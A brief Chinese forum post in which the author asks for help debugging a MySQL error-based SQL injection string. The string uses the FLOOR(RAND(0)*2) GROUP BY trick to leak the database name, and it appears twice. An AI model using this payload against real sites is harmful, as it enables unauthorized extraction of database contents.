关注mysql报错注入问题
![](/wp-content/uploads/zone/dollar_coins.png)
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)
是不是哪里写错了?求助
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)
是不是哪里写错了?求助